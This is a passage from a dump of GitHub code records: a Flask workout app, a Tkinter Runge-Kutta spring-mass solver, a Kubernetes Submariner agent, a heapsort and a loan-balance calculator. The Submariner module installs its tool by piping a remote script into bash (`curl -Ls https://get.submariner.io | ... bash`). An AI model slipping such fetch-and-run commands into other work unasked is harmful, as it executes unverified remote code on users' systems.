user_bp\n from application.views.cumulative_result import cumulative_bp\n from application.views.routings import route_bp\n app.register_blueprint(google_api_bp)\n app.register_blueprint(user_bp)\n app.register_blueprint(cumulative_bp)\n app.register_blueprint(route_bp)\n\n @app.route('/playing')\n def input_video():\n return render_template('cam.html')\n\n @app.route('/')\n def init():\n return render_template('homepage/index.html', user_name=None)\n\n @app.route('/main')\n def main():\n if 'google_id' not in session and 'user_name' not in session:\n return redirect(url_for('google_api.authorize'))\n\n google_id = session['google_id']\n user_name = session['user_name']\n\n return render_template('homepage/index.html', user_name=user_name)\n\n @app.route('/test')\n def test():\n return render_template('cam.html')\n\n @app.route('/my_model/squat/')\n def send_squat_file(path):\n print(path)\n return send_from_directory('my_model/squat/', path)\n\n @app.route('/my_model/shoulder/')\n def send_shoulder_file(path):\n print(path)\n return send_from_directory('my_model/shoulder/', path)\n\n @socketio.on('myconnect')\n def handle_connect(data):\n print(data['count'])\n return app\n\n\n\n","repo_name":"yountpark/Workout_web","sub_path":"application/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"3342428229","text":"from Tkinter import * #GUI Library\nfrom ODESolver import * #Runge kutta solver\nimport matplotlib.pyplot as plt #Plot creation library\nfrom scitools.std import * #A static analysis tool (math functions)\n\n\nclass Menu:\n #Creation of TKinter widgets\n def __init__(self, parent): \n #Allocation of text variables \n self.m = DoubleVar()\n self.beta = DoubleVar()\n self.k = DoubleVar()\n self.g = DoubleVar()\n self.s_init = DoubleVar() \n self.v_init = DoubleVar()\n self.total_time = DoubleVar()\n self.dt = DoubleVar()\n \n #Creation of Mass Label & Entry\n self.label_1 = Label(parent, text=\"Mass:\")\n self.label_1.grid(row=0, column=0)\n self.entry_1 = Entry(parent, width=8, textvariable=self.m)\n self.entry_1.grid(row=1, column=0, sticky=N)\n \n #Creation of Damping Label & Entry\n self.label_2 = Label(parent, text=\"Damping:\")\n self.label_2.grid(row=0, column=1)\n self.entry_2 = Entry(parent, width=8, textvariable=self.beta)\n self.entry_2.grid(row=1, column=1, sticky=N) \n \n #Creation of Spring Label & Entry\n self.label_3 = Label(parent, text=\"Spring:\")\n self.label_3.grid(row=0, column=2)\n self.entry_3 = Entry(parent, width=8, textvariable=self.k)\n self.entry_3.grid(row=1, column=2, sticky=N)\n \n #Creation of Gravity Label & Entry\n self.label_4 = Label(parent, text=\"Gravity:\")\n self.label_4.grid(row=0, column=3)\n self.entry_4 = Entry(parent, width=8, textvariable=self.g)\n self.entry_4.grid(row=1, column=3, sticky=N)\n \n #Creation of Initial Condition Label\n self.label_5 = Label(parent, text=\"Initial Conditions:\")\n self.label_5.grid(columnspan=4,row=3,column=0, sticky=S)\n\n #Creation of Stretch Label & Entry\n self.label_6 = Label(parent, text=\"Stretch:\")\n self.label_6.grid(row=4,column=0, sticky=E)\n self.entry_5 = Entry(parent, width=8, textvariable=self.s_init)\n self.entry_5.grid(row=4, column=1)\n \n #Creation of Velocity Label & Entry\n self.label_7 = Label(parent, text=\"Velocity:\")\n self.label_7.grid(row=4,column=2, sticky=E)\n self.entry_6 = Entry(parent, width=8, textvariable=self.v_init)\n self.entry_6.grid(row=4, column=3)\n \n #Creation of Time parameters Label\n self.label_8 = Label(parent, text =\"Time parameters:\")\n self.label_8.grid(columnspan=4, row=6, column=0, sticky=S)\n \n #Creation of Time Label & Entry\n self.label_9 = Label(parent, text=\"Time:\")\n self.label_9.grid(row=7, column=0, sticky=E)\n self.entry_7 = Entry(parent, width=8, textvariable=self.total_time)\n self.entry_7.grid(row=7, column=1)\n \n #Creation of dt Label & Entry\n self.label_10 = Label(parent, text=\"dt:\")\n self.label_10.grid(row=7, column=2, sticky=E)\n self.entry_8 = Entry(parent, width=8, textvariable=self.dt)\n self.entry_8.grid(row=7, column=3)\n \n #Creation of text widget\n self.text_1 = Text(parent, width=55, height=14, wrap=WORD) \n self.text_1.grid(rowspan=9 ,row=0, column=4,sticky=S+N)\n scrl = Scrollbar(parent, command=self.text_1.yview)\n self.text_1.config(yscrollcommand=scrl.set)\n scrl.grid(rowspan=9, row=0, column=4, sticky=N+S+E)\n \n #Creation of Calculate Button\n self.calculate_bt = Button(parent, text=\"Calculate\", command=self.calculate)\n self.calculate_bt.grid(columnspan=2, row=8, column=0, sticky=N+S+E+W, padx=15, pady=10)\n \n #Creation of Test Button\n self.test_bt = Button(parent, text=\"Test\", command=self.test)\n self.test_bt.grid(columnspan=2, row=8, column=2, sticky=N+S+E+W, padx=15, pady=10)\n \n \n def calculate(self): \n \n m, beta, k, g, s_init, v_init, total_time, dt = \\\n self.m.get(), self.beta.get(), self.k.get(), self.g.get(), self.s_init.get(), self.v_init.get(), self.total_time.get(), self.dt.get()\n \n #Check user data\n self.text_1.delete('1.0', END)\n if m <= 0:\n self.text_1.insert('1.0', \"Mass value should be greater than zero\\n\")\n elif beta < 0: \n self.text_1.insert('1.0', \"Damping value must be positive\\n\")\n elif k <=0:\n self.text_1.insert('1.0', \"Spring coefficient value must be greater than zero\\n\")\n elif g < 0:\n self.text_1.insert('1.0', \"Gravity force value must be positive\\n\")\n elif total_time <= 0: \n self.text_1.insert('1.0', \"Time value must be greater than zero\\n\")\n elif total_time < dt:\n self.text_1.insert('1.0', \"Time step value must be smaller than time value\\n\")\n elif dt <=0:\n self.text_1.insert('1.0', \"Time step value must be greater than zero\\n\")\n else:\n solver = RungeKutta4th(s_init, v_init, m, beta, k, g)\n \n S, V, T = solver.solve(total_time, dt)\n \n N = int(total_time/dt) #N - Steps to make\n \n #Show results in right text box\n self.text_1.insert('1.0', \"Time(sec):\\t\\t Stretch(m): Velocity(m/s):\\n\")\n for i in range(N):\n self.text_1.insert(\"%d.%d\" % (i+2, 0) ,\"%13.10f %18.15f %18.15f \\n\" % (T[i] ,S[i], V[i]))\n \n #Create results plot \n plt.plot(T, S, 'r', T, V, 'b', xlabel='time(sec)', grid='True', legend=('Stretch(m)', 'Velocity(m/s)'), title=('RungeKutta-4th Results')) \n plt.show()\n\n\n def test(self):\n solver = RungeKutta4th(s_init=1, v_init=0, m=1, beta=0, k=1, g=0)\n \n #Set initial values for test conditions \n self.m.set(1.)\n self.beta.set(0.)\n self.k.set(1.)\n self.g.set(0.)\n self.s_init.set(1.)\n self.v_init.set(0.)\n \n total_time=self.total_time.get()\n dt=self.dt.get()\n \n #Check user data\n self.text_1.delete('1.0', END)\n if total_time <= 0: \n self.text_1.insert('1.0', \"Time value must be greater than zero\\n\")\n elif total_time < dt:\n self.text_1.insert('1.0', \"Time step value must be smaller than time value\\n\")\n elif dt <=0:\n self.text_1.insert('1.0', \"Time step value must be greater than zero\\n\")\n else:\n\n N = int(total_time/dt) #N - Steps to make\n #Create arrays\n V_error = [0.0]*(N+1)\n S_error = [0.0]*(N+1)\n V_exact = [0.0]*(N+1)\n S_exact = [0.0]*(N+1) \n \n S_solved, V_solved, T = solver.solve(total_time, dt)\n \n self.text_1.insert('1.0', \"Time(sec):\\t Stretch Error(m): Velocity Error(m/s):\\n\")\n \n #Calculate solution by direct method\n for i in range(N):\n S_exact[i] = cos(T[i])\n V_exact[i] = -sin(T[i])\n \n S_error[i] = S_exact[i] - S_solved[i]\n V_error[i] = V_exact[i] - V_solved[i] \n \n #Insert results in right text box\n self.text_1.insert(\"%d.%d\" % (i+2, 0) ,\"%13.10f %18.15f %18.15f \\n\" % (T[i] ,S_error[i], V_error[i]))\n \n #Create plot of Error Values\n plt.figure(1) \n plt.plot(T, S_error, 'r', T, V_error, 'b', xlabel='time(sec)', grid='True', \\\n legend=('Stretch(m)', 'Velocity(m/s)'), title=('Error Values')) \n \n #Create plot of RungeKutta-4th Results\n plt.figure(2)\n plt.plot(T, S_solved, 'r', T, V_solved, 'b', xlabel='time(sec)', grid='True', \\\n legend=('Stretch(m)', 'Velocity(m/s)'), title=('RungeKutta-4th Results')) \n \n #Create plot of results calculated by direct method\n plt.figure(3)\n plt.plot(T, S_exact, 'r', T, V_exact, 'b', xlabel='time(sec)', grid='True', \\\n legend=('cos(t)', '-sin(t)'), title=('Exact Values')) \n \n \nroot = Tk()\nroot.wm_title(\"Spring Mass\")\ngui = Menu(root)\nroot.mainloop()","repo_name":"semi10/Runge-Kutta-4th","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"74306363640","text":"import time\r\n\r\nimport os\r\nimport shutil\r\n\r\nimport kubernetes\r\n\r\nfrom gw_agent.common.error import get_exception_traceback\r\n\r\nfrom gw_agent import settings\r\nfrom cluster.command.kubernetes import KubeCommand\r\nfrom repository.cache.network import NetworkStatusRepository\r\nfrom repository.cache.resources import ResourceRepository\r\nfrom repository.common.k8s_client import Connector\r\nfrom repository.common.type import MultiClusterRole\r\nfrom utils.run import RunCommand\r\n\r\nSUBCTL = ' '.join(settings.CEDGE_BINS['subctl'])\r\nKUBECTL = ' '.join(settings.CEDGE_BINS['kubectl'])\r\nCURL = ' '.join(settings.CEDGE_BINS['curl'])\r\n\r\n\r\n# noinspection PyTypeChecker\r\nclass SubmarinerCommand:\r\n \"\"\"\r\n SubmarinerCommand class\r\n \"\"\"\r\n\r\n ''' After submariner broker deployed, check below resource's status. '''\r\n submariner_operator_resource = {\r\n 'namespaces': [\r\n 'submariner-k8s-broker',\r\n 'submariner-operator'\r\n ],\r\n 'apiservices': [\r\n 'v1.submariner.io',\r\n 'v1alpha1.submariner.io',\r\n 'v1alpha1.multicluster.x-k8s.io'\r\n ],\r\n # kubectl get crds | grep -iE 'submariner|multicluster.x-k8s.io'\r\n 'customresourceobjects': [\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'brokers',\r\n 'version': 'v1alpha1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'clusterglobalegressips',\r\n 'version': 'v1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'clusters',\r\n 'version': 'v1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'endpoints',\r\n 'version': 'v1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'gateways',\r\n 'version': 'v1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'globalegressips',\r\n 'version': 'v1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'globalingressips',\r\n 'version': 'v1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'servicediscoveries',\r\n 'version': 'v1alpha1'\r\n },\r\n {\r\n 'group': 'submariner.io',\r\n 'plural': 'submariners',\r\n 'version': 'v1alpha1'\r\n },\r\n {\r\n 'group': 'multicluster.x-k8s.io',\r\n 'plural': 'serviceexports',\r\n 'version': 'v1alpha1'\r\n },\r\n {\r\n 'group': 'multicluster.x-k8s.io',\r\n 'plural': 'serviceimports',\r\n 'version': 'v1alpha1'\r\n },\r\n ],\r\n }\r\n\r\n ''' \r\n After submariner broker joined, check below resource's status.\r\n And remote endpoint connection status whether it is 'connected' or not. \r\n '''\r\n submariner_component_resource = {\r\n 'deployments': [\r\n 'submariner-operator',\r\n 'submariner-lighthouse-agent',\r\n 'submariner-lighthouse-coredns'\r\n ],\r\n 'daemonsets': [\r\n 'submariner-gateway',\r\n 'submariner-globalnet',\r\n 'submariner-routeagent',\r\n ],\r\n 'services': [\r\n 'submariner-operator-metrics',\r\n 'submariner-gateway-metrics',\r\n 'submariner-globalnet-metrics',\r\n 'submariner-lighthouse-agent-metrics',\r\n 'submariner-lighthouse-coredns',\r\n 'submariner-lighthouse-coredns-metrics',\r\n ],\r\n }\r\n logger = None\r\n\r\n def __new__(cls, *args, **kwargs):\r\n if not hasattr(cls, \"_instance\"):\r\n cls._instance = super().__new__(cls)\r\n cls._instance._config()\r\n return cls._instance\r\n\r\n def _config(self):\r\n self.logger = settings.get_logger(__name__)\r\n\r\n @staticmethod\r\n def deploy_subctl():\r\n \"\"\"\r\n deploy subctl\r\n :return:\r\n \"\"\"\r\n ''' remove subctl '''\r\n if os.path.isfile('/root/.local/bin/subctl'):\r\n os.remove('/root/.local/bin/subctl')\r\n if os.path.isfile('/sbin/subctl'):\r\n os.remove('/sbin/subctl')\r\n\r\n ''' install subctl '''\r\n cmdline = ' '.join([CURL, '-Ls', 'https://get.submariner.io', '|', 'VERSION=0.13.1', 'bash'])\r\n ok, stdout, stderr = RunCommand.execute_bash_wait(cmdline)\r\n if not ok:\r\n return ok, stdout, stderr\r\n\r\n ''' create subctl symbolic link to \"/sbin/\" '''\r\n cmdline = ' '.join(['ln', '-s', '/root/.local/bin/subctl', '/sbin'])\r\n\r\n return RunCommand.execute_shell_wait(cmdline)\r\n\r\n def create_broker(self):\r\n \"\"\"\r\n deploy submariner broker_info\r\n :return:\r\n (bool) True - success, False - fail\r\n (str) stdout\r\n (str) stderr\r\n \"\"\"\r\n self.logger.info('subctl deploy-broker --version {} --globalnet'.format(settings.SUBMARINER_VERSION))\r\n\r\n # broker-info.subm creating path\r\n broker_info_file = os.path.join(os.getcwd(), 'broker-info.subm')\r\n\r\n # delete broker-info.subm file in current directory\r\n if os.path.isfile(broker_info_file):\r\n os.remove(broker_info_file)\r\n\r\n cmdline = ' '.join([SUBCTL,\r\n 'deploy-broker',\r\n '--version', settings.SUBMARINER_VERSION,\r\n '--globalnet'])\r\n\r\n ok, stdout, stderr = RunCommand.execute_shell_wait(cmdline)\r\n\r\n if not ok:\r\n return ok, stdout, stderr\r\n\r\n # remove old broker-info.subm files in local broker directory\r\n for path in os.listdir(settings.LOCAL_BROKER_INFO):\r\n if os.path.isfile(os.path.join(settings.LOCAL_BROKER_INFO, path)):\r\n if 'broker-info.subm.' in path:\r\n os.remove(os.path.join(settings.LOCAL_BROKER_INFO, path))\r\n\r\n # If fail to create broker-info.subm file,\r\n if not os.path.isfile(broker_info_file):\r\n self.logger.error('Fail to create broker-info.subm')\r\n return False, stdout, 'File not created, file=broker-info.subm'\r\n\r\n # move new broker-info.subm file to local broker directory\r\n shutil.move(broker_info_file, os.path.join(settings.LOCAL_BROKER_INFO, 'broker-info.subm'))\r\n\r\n return ok, stdout, stderr\r\n\r\n def delete_submariner(self):\r\n \"\"\"\r\n delete submariner (broker, broker-join components)\r\n :return:\r\n (bool) True - success, False - fail\r\n (str) stdout\r\n (str) stderr\r\n \"\"\"\r\n self.delete_submariner_crds()\r\n self.delete_submariner_components()\r\n self.delete_submariner_namespaces()\r\n # self.replace_finalizer_for_submariner_namespaces()\r\n\r\n return True, None, None\r\n\r\n def delete_submariner_namespaces(self):\r\n \"\"\"\r\n delete submariner namespace\r\n :return:\r\n \"\"\"\r\n core_v1_api = Connector().core_v1_api()\r\n errors = []\r\n namespaces = self.submariner_operator_resource['namespaces']\r\n\r\n for namespace in namespaces:\r\n try:\r\n # core_v1_api.delete_namespace(namespace, grace_period_seconds=10)\r\n core_v1_api.delete_namespace(namespace)\r\n except Exception as exc:\r\n if type(exc) == kubernetes.client.exceptions.ApiException:\r\n if exc.reason == 'Not Found':\r\n continue\r\n else:\r\n error = get_exception_traceback(exc)\r\n errors.append(error)\r\n self.logger.error(error)\r\n if len(errors) > 0:\r\n return False, '', ';'.join(errors)\r\n\r\n return True, '', ''\r\n\r\n def replace_finalizer_for_submariner_namespaces(self):\r\n \"\"\"\r\n delete submariner namespaces\r\n :return:\r\n (bool) success\r\n (str) stdout\r\n (str) stderr\r\n \"\"\"\r\n api_client = Connector().core_v1_api()\r\n namespaces = self.submariner_operator_resource['namespaces']\r\n errors = []\r\n for namespace in namespaces:\r\n try:\r\n resource = api_client.read_namespace(namespace)\r\n if resource.spec.finalizers is not None:\r\n resource.spec.finalizers = []\r\n api_client.replace_namespace_finalize(namespace, resource)\r\n except Exception as exc:\r\n if type(exc) == kubernetes.client.exceptions.ApiException:\r\n if exc.reason == 'Not Found':\r\n continue\r\n else:\r\n error = get_exception_traceback(exc)\r\n self.logger.error(error)\r\n errors.append(error)\r\n\r\n if len(errors) > 0:\r\n return False, '', ';'.join(errors)\r\n\r\n return True, '', ''\r\n\r\n def delete_submariner_crds(self):\r\n \"\"\"\r\n delete submariner crds\r\n :return:\r\n \"\"\"\r\n crds = self.submariner_operator_resource['customresourceobjects']\r\n errors = []\r\n\r\n for crd in crds:\r\n ok, stdout, stderr = KubeCommand().delete_crd(crd['group'], crd['plural'])\r\n\r\n if not ok:\r\n errors.append(errors)\r\n\r\n if len(errors) > 0:\r\n return False, '', ';'.join(errors)\r\n\r\n return True, '', ''\r\n\r\n def delete_submariner_components(self):\r\n \"\"\"\r\n delete submariner broker join components\r\n :return:\r\n \"\"\"\r\n namespace = 'submariner-operator'\r\n errors = []\r\n\r\n ''' delete submariner join components '''\r\n for key, value in self.submariner_component_resource.items():\r\n for name in value:\r\n if key == 'services':\r\n if ResourceRepository().is_service_deployed(namespace, name):\r\n ok, stdout, stderr = KubeCommand.delete_service(namespace, name)\r\n if not ok:\r\n self.logger.error('Fail to delete service({}) '\r\n 'caused by {}'.format(name, stderr))\r\n continue\r\n if key == 'daemonsets':\r\n if ResourceRepository().is_daemonset_deployed(namespace, name):\r\n # # apply patch\r\n # path = '/spec/template/spec/nodeSelector'\r\n # ok, stdout, stderr = KubeCommand().delete_path(namespace, 'daemonset', path, name)\r\n # if not ok:\r\n # self.logger.error('Fail to delete path({}) '\r\n # 'caused by {}'.format(name, stderr))\r\n # pods = ResourceRepository().get_pods_for_deployment(namespace, name)\r\n ok, stdout, stderr = KubeCommand.delete_daemonset(namespace, name)\r\n if not ok:\r\n self.logger.error('Fail to delete daemonset({}) '\r\n 'caused by {}'.format(name, stderr))\r\n # for pod in pods:\r\n # ok, stdout, stderr = KubeCommand.delete_pod(namespace, pod)\r\n # if not ok:\r\n # self.logger.error('Fail to delete pod({}) '\r\n # 'caused by {}'.format(pod, stderr))\r\n continue\r\n if key == 'deployments':\r\n if ResourceRepository().is_deployment_deployed(namespace, name):\r\n # apply scale to zero\r\n # KubeCommand().adjust_scale_deployment(namespace, name, 0)\r\n # pods = ResourceRepository().get_pods_for_deployment(namespace, name)\r\n ok, stdout, stderr = KubeCommand.delete_deployment(namespace, name)\r\n if not ok:\r\n self.logger.error('Fail to delete deployment({}) '\r\n 'caused by {}'.format(name, stderr))\r\n # for pod in pods:\r\n # ok, stdout, stderr = KubeCommand.delete_pod(namespace, pod)\r\n # if not ok:\r\n # self.logger.error('Fail to delete pod({}) '\r\n # 'caused by {}'.format(pod, stderr))\r\n continue\r\n\r\n if len(errors) > 0:\r\n return False, '', ';'.join(errors)\r\n\r\n return True, '', ''\r\n\r\n def restart_gateway(self):\r\n \"\"\"\r\n restart gateway\r\n :return:\r\n \"\"\"\r\n ok, _, stderr = KubeCommand().enable_master_schedulable()\r\n if not ok:\r\n self.logger.error(stderr)\r\n return ok, None, stderr\r\n\r\n ''' set label('submariner.io/gateway=true') to master node to assign gateway in master node '''\r\n master_node = KubeCommand().get_master_name()\r\n\r\n if not master_node:\r\n return False, None, 'Not found master node'\r\n\r\n KubeCommand().set_node_label(master_node, 'submariner.io/gateway=true')\r\n\r\n cmdline = ' '.join([KUBECTL,\r\n 'rollout', 'restart', 'daemonset', 'submariner-gateway', '-n', 'submariner-operator'])\r\n\r\n self.logger.info(cmdline)\r\n ok, stdout, stderr = RunCommand.execute_shell_wait(cmdline)\r\n\r\n if not ok:\r\n self.logger.error(stderr)\r\n\r\n KubeCommand().disable_master_schedulable()\r\n\r\n return True, None, None\r\n\r\n def join_broker(self, role, cluster_id, broker_info_file):\r\n \"\"\"\r\n join broker\r\n :param role: (str) 'Local' or 'Remote'\r\n :param cluster_id: (str) cluster_id\r\n :param broker_info_file: (str) broker info file path\r\n :return:\r\n (bool) True - success, False - fail\r\n (str) stdout\r\n (str) stderr\r\n \"\"\"\r\n if cluster_id is None or len(cluster_id) <=0 or type(cluster_id) != str:\r\n return False, None, 'Invalid cluster_id. Must input str as cluster_id'\r\n\r\n if not MultiClusterRole.validate(role):\r\n return False, None, 'Invalid role. Must input \"Local\" or \"Remote\" as role'\r\n\r\n if not os.path.isfile(broker_info_file):\r\n return False, None, 'broker-info.subm file is not existed'\r\n\r\n ''' set taint to enable to schedule submariner gateway to master node '''\r\n ok, _, stderr = KubeCommand().enable_master_schedulable()\r\n if not ok:\r\n self.logger.error(stderr)\r\n return ok, None, stderr\r\n\r\n ''' set label('submariner.io/gateway=true') to master node to assign gateway in master node '''\r\n master_node = KubeCommand().get_master_name()\r\n\r\n if not master_node:\r\n return False, None, 'Not found master node'\r\n\r\n KubeCommand().set_node_label(master_node, 'submariner.io/gateway=true')\r\n\r\n cmdline = ' '.join([SUBCTL,\r\n 'join', broker_info_file,\r\n '--version', settings.SUBMARINER_VERSION,\r\n '--clusterid', cluster_id,\r\n '--cable-driver', settings.SUBMARINER_CABLE_DRIVER,\r\n '--natt=false'])\r\n\r\n self.logger.info(cmdline)\r\n ok, stdout, stderr = RunCommand.execute_shell_wait(cmdline)\r\n if not ok:\r\n self.logger.error(stderr)\r\n\r\n ''' # set taint to disable to schedule submariner gateway to master node '''\r\n KubeCommand().disable_master_schedulable()\r\n\r\n\r\n return ok, stdout, stderr\r\n\r\n @staticmethod\r\n def export_service(namespace, name):\r\n \"\"\"\r\n export service\r\n :param namespace: (str) service namespace\r\n :param name: (str) service name\r\n :return:\r\n (bool) True - success, False - fail\r\n (str) stdout\r\n (str) stderr\r\n \"\"\"\r\n is_exported = NetworkStatusRepository().is_service_exported(namespace, name)\r\n if is_exported:\r\n return True, None, None\r\n\r\n if not ResourceRepository().is_service_deployed(namespace, name):\r\n return False, None, 'Not found service(ns={}, service={})'.format(namespace, name)\r\n\r\n cmdline = ' '.join([SUBCTL, 'export', 'service', '-n', namespace, name])\r\n ok, stdout, stderr = RunCommand.execute_shell_wait(cmdline)\r\n time.sleep(0.5)\r\n\r\n return ok, stdout, stderr\r\n\r\n @staticmethod\r\n def export_service_nowait(namespace, name):\r\n \"\"\"\r\n export service\r\n :param namespace: (str) service namespace\r\n :param name: (str) service name\r\n :return:\r\n (bool) True - success, False - fail\r\n (str) stdout\r\n (str) stderr\r\n \"\"\"\r\n is_exported = NetworkStatusRepository().is_service_exported(namespace, name)\r\n if is_exported:\r\n return True, None, None\r\n\r\n if not ResourceRepository().is_service_deployed(namespace, name):\r\n return False, None, 'Not found service(ns={}, service={})'.format(namespace, name)\r\n\r\n cmdline = ' '.join([SUBCTL, 'export', 'service', '-n', namespace, name])\r\n ok, stdout, stderr = RunCommand.execute_shell_wait(cmdline)\r\n\r\n return ok, stdout, stderr\r\n\r\n @staticmethod\r\n def unexport_service(namespace, name):\r\n \"\"\"\r\n unexport service\r\n :param namespace: (str) service namespace\r\n :param name: (str) service name\r\n :return:\r\n \"\"\"\r\n if not NetworkStatusRepository().is_service_exported(namespace, name): # already unexported service\r\n return True, None, None\r\n\r\n cmdline = ' '.join([SUBCTL, 'unexport', 'service', '-n', namespace, name])\r\n\r\n ok, stdout, stderr = RunCommand.execute_shell_wait(cmdline)\r\n time.sleep(0.5)\r\n\r\n return ok, stdout, stderr\r\n","repo_name":"krunivs/gw_agent","sub_path":"cluster/command/submariner.py","file_name":"submariner.py","file_ext":"py","file_size_in_byte":18232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"7942540738","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 8 14:32:47 2018\n\n@author: Shashwat Kathuria\n\"\"\"\n\n# HEAP SORT\n\ndef main():\n\n # Reading elements from file and storing it inside a heap\n file = open(\"IntegerArray.txt\", \"r\")\n noOfElements = int(file.readline())\n\n # Initializing heap\n minHeap = Heap(noOfElements = 5 * noOfElements , limitOfRestructuring = 30)\n\n # Storing elements in the heap\n for i in range(100000):\n element = int(file.readline())\n minHeap.insertElement(element = element, i = minHeap.getI())\n print(\"\\nThe original heap looks as follows : \\n\\n\" + str(minHeap))\n print(\"\\n\\n\")\n\n # Calling heap sort algorithm on heap\n heapSort(minHeap)\n\ndef heapSort(minHeap):\n \"\"\"Heap Sort Algorithm to sort a heap.Input is a minHeap.\"\"\"\n\n #Initializing list to store sorted elements\n arr = []\n print(\"\\n\")\n\n # Looping to get the minimum element in each iteration and then removing it from the heap\n for i in range(minHeap.getI()):\n print(\"ON ITERATION NO : \" + str( i) + \" OUT OF \" + str(100000))\n arr.append(minHeap.extractMinimum())\n minHeap.removeMinimum()\n\n print(\"\\n\\nThe sorted array looks as follows : \\n\\n\")\n print(arr)\n print(\"\\n\")\n\n\nclass Heap:\n\n def __init__(self, noOfElements, limitOfRestructuring):\n \"\"\"\"Initializes heap instance.Inputs are no of elements in heap and limit of restructuring of heap.\"\"\"\n\n self.heap = [ 'NaN' ] * (noOfElements + 1)\n self.noOfElements = noOfElements + 1\n self.i = 1\n self.noOfRemovedElements = 0\n self.limitOfRestructuring = limitOfRestructuring\n\n def __str__(self):\n \"\"\"Defining str function to display/print heap.\"\"\"\n\n string = \"[\"\n for i in range(1, self.i , 1):\n string += str(self.heap[i]) + \" \"\n return string + \"]\"\n\n def extractMinimum(self):\n \"\"\"Function to return the minimum element of the heap\"\"\"\n\n return self.heap[1]\n\n def getI(self):\n \"\"\"Function to return the position where the next element can be added.\"\"\"\n\n return self.i\n\n def insertElement(self, element , i ):\n \"\"\"Function to insert an element in the heap.Input is element to be added and i is the value returned from getI() function\"\"\"\n\n self.heap[i] = element\n # Parent of ith position\n parenti = i // 2\n\n # Inserting element into the heap\n try:\n # Bubbling up\n if parenti != 0 and self.heap[i] < self.heap[parenti]:\n self.heap[i], self.heap[parenti] = self.heap[parenti], self.heap[i]\n self.insertElement(element, parenti)\n # Incrementing self.i position\n else:\n self.i += 1\n return\n\n except:\n # Bubbling up\n self.heap[i] = 'NaN'\n self.insertElement(element, parenti)\n return\n\n def removeMinimum(self, i = 1):\n \"\"\"Function to remove the minimum element in the heap.\"\"\"\n\n # Restructures heap to be a continuous list otherwise a lot of \"Nan\" noOfElements\n # due to removal of minimums a lot of times interfere with the logic of the program\n if self.noOfRemovedElements == self.limitOfRestructuring:\n self.restructureHeap()\n self.noOfRemovedElements = 0\n\n # Base cases\n if self.heap[i] == 'NaN' :\n self.noOfRemovedElements += 1\n return\n if 2 * i + 1 > self.noOfElements or 2 * i > self.noOfElements:\n self.heap[i] == \"NaN\"\n self.noOfRemovedElements += 1\n return\n\n # Initializing children element positions\n child1 = 2 * i\n child2 = ( 2 * i ) + 1\n\n # Case when there are no children\n if self.heap[child1] == 'NaN' and self.heap[child2] == 'NaN':\n self.heap[i] = 'NaN'\n self.noOfRemovedElements += 1\n return\n\n # Case when there is only one child\n elif self.heap[child2] == 'NaN':\n self.heap[i], self.heap[child1] = self.heap[child1], \"NaN\"\n self.noOfRemovedElements += 1\n return\n\n # Case when there is only one child, same as above\n elif self.heap[child1] == 'NaN':\n self.heap[i], self.heap[child2] = self.heap[child2], \"NaN\"\n self.noOfRemovedElements += 1\n return\n\n # Swapping parent with the smaller child\n # Bubbling down\n if self.heap[child1] <= self.heap[child2]:\n self.heap[i], self.heap[child1] = self.heap[child1], self.heap[i]\n self.removeMinimum( child1 )\n else:\n self.heap[i], self.heap[child2] = self.heap[child2], self.heap[i]\n self.removeMinimum( child2 )\n\n def restructureHeap(self):\n \"\"\"\"Function to restructure heap to store elements in a continuous fashion in the list.\"\"\"\n\n self.i = 1\n # Storing the elements that already exist in a temporary list\n tempList = []\n for heapElement in self.heap:\n if heapElement != \"NaN\" :\n tempList.append( heapElement )\n\n # Initializing new heap\n self.heap = [\"NaN\"] * self.noOfElements\n\n # Storing all the elements in the temporary list in a continuous fashion in the new heap\n for element in tempList:\n self.insertElement(element, self.i)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"shashwatkathuria/Data-Structures-And-Algorithms","sub_path":"Sorting - HeapSort/heapsort.py","file_name":"heapsort.py","file_ext":"py","file_size_in_byte":5430,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"40"} +{"seq_id":"24941575951","text":"def year_paying(balance,annualInterestRate,monthlyPaymentRate):\n monthInterestRate=annualInterestRate/12\n for i in range(1,13):\n min_monthPay=balance*monthlyPaymentRate\n monUnPay=balance-min_monthPay\n balance=monUnPay+monthInterestRate*monUnPay\n print('Month ' + str(i) +' Remaining balance: '+ str(round(balance,2)))\n \n return round(balance,2)\n\n\n# Paste your code into this box\n\ndef min_pay(balance, annualInterestRate):\n monthInterestRate=annualInterestRate/12\n upper_pay=balance*((1+monthInterestRate)**12)\n lower_pay=balance/12\n\n while True:\n payment=(upper_pay+lower_pay)/2\n var_bal=balance\n \n for i in range(12):\n var_bal-=payment\n rate=var_bal*monthInterestRate\n var_bal+=+rate\n \n var_bal=round(var_bal,2)\n if var_bal==0:\n break\n elif var_bal<0:\n upper_pay=payment\n elif var_bal>0:\n lower_pay=payment\n return round(payment,2)\n\nbalance=3329\nannualInterestRate=0.2\n","repo_name":"zhanxinl/self-teaching","sub_path":"185apple_plan/mit-introduction to Computer Science and Programming in Python/hw/coursa/year_balance.py","file_name":"year_balance.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"1275302960","text":"def thirdNum(l):\n\twhile len(l) != 0:\n\t\tif len(l) >= 3:\n\t\t\tprint(l[2])\n\t\t\tl.remove(l[2])\n\t\telse:\n\t\t\tl.remove(l[0])\n\nif __name__ == \"__main__\":\n\tlt = 